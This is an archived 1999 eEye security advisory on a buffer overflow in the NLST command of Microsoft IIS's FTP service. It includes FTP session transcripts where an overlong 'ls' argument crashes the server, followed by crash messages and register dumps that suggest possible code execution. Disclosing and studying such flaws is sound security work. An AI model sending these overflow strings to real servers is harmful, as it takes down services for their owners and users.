________________________________________________________________________ eEye Digital Security Team <e> www.eEye.com infoat_private Sunday, January 24, 1999 ________________________________________________________________________ Advisory: IIS Remote FTP Exploit/DoS Attack Systems Tested: Windows NT 4.0 (SP4) IIS 3.0 / 4.0 Windows 95/98 PWS 1.0 Release Date: Sunday, January 24, 1999 Advisory Code: IISE01 ________________________________________________________________________ Description: ________________________________________________________________________ While feeding in logic into Retina's artificial intelligence engine, which helps construct query strings to pass to internet servers, checking for overflow bugs and miss parsing of command strings. Our test server stopped responding. Below is our findings. Microsoft IIS (Internet Information Server) FTP service contains a buffer overflow in the NLST command. This could be used to DoS a remote machine and in some cases execute code remotely. Lets look at the following example attack. [Comments are in brackets.] The server must either have anonymous access rights or an attacker must have an account. C:\>ftp guilt.xyz.com Connected to guilt.xyz.com. 220 GUILT Microsoft FTP Service (Version 4.0). User (marc.xyz.com:(none)): ftp 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 Anonymous user logged in. ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 200 PORT command successful. 150 Opening ASCII mode data connection for file list. [The server has now processed our long NLST request and has crashed] -> ftp: get :Connection reset by peer [Our ftp client looses connection... that is a given] The above example uses 316 characters to overflow. This is the smallest possible buffer to pass that will overflow IIS. Lets take a look at the server side happenings. On the server side we have an "Application Error" message for inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at '0x41414156'. The memory could not be 'read'." If we take a look at our registers we will see the following: EAX = 0000005C EBX = 00000001 ECX = 00D3F978 EDX = 002582DD ESI = 00D3F978 EDI = 00000000 EIP = 710F8AA2 ESP = 00D3F644 EBP = 00D3F9F0 EFL = 00000206 There is no 41 hex (Our overflow character) in any of our registers so we chalk this up as a DoS attack for now. Lets move on and take a look at the largest string we can pass to overflow IIS. C:\>ftp guilt.xyz.com Connected to guilt.xyz.com. 220 GUILT Microsoft FTP Service (Version 4.0). User (marc.xyz.com:(none)): ftp 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 Anonymous user logged in. [The server must either have anonymous access rights or an attacker must have an account] ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA 200 PORT command successful. 150 Opening ASCII mode data connection for file list. Connection closed by remote host. In this case we passed 505 characters to overflow IIS. This is the largest possible (tested) buffer to pass that will overflow IIS. Lets take a look once again at the server side. On the server we have the same "Application Error" message for inetinfo.exe except this time "The instruction at '0x722c9262' referenced memory at "0x41414141'." This is looking mighty interesting. Lets look at our registers once again: EAX = 00000000 EBX = 41414141 ECX = 41414141 EDX = 722C1CAC ESI = 41414141 EDI = 41414141 EIP = 722C9262 ESP = 00D3F524 EBP = 00D3F63C EFL = 00000246 There sure are a lot of 41 hex codes in our registers now. >:-] So to wrap it all up what we have here is a DoS attack against any IIS server with ftp access. Keep in mind we have to be able to login. However, Anonymous access is granted on most servers. Once we have overflowed IIS all IIS services will fail. (I.E. The web service, NNTP, SMTP etc..) What we have seems to be a very interesting buffer overflow. ________________________________________________________________________ Special Thanks ________________________________________________________________________ The eEye Digital Security Team would like to extend a special thanks to Mudge and Dildog. ________________________________________________________________________ Copyright (c) 1999 eEye Digital Security Team ________________________________________________________________________ Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail alertat_private for permission. ________________________________________________________________________ Disclaimer: ________________________________________________________________________ The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Please send suggestions, updates, and comments to: alertat_private eEye Digital Security Team http://www.eEye.com infoat_private ________________________________________________________________________
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:30:16 PDT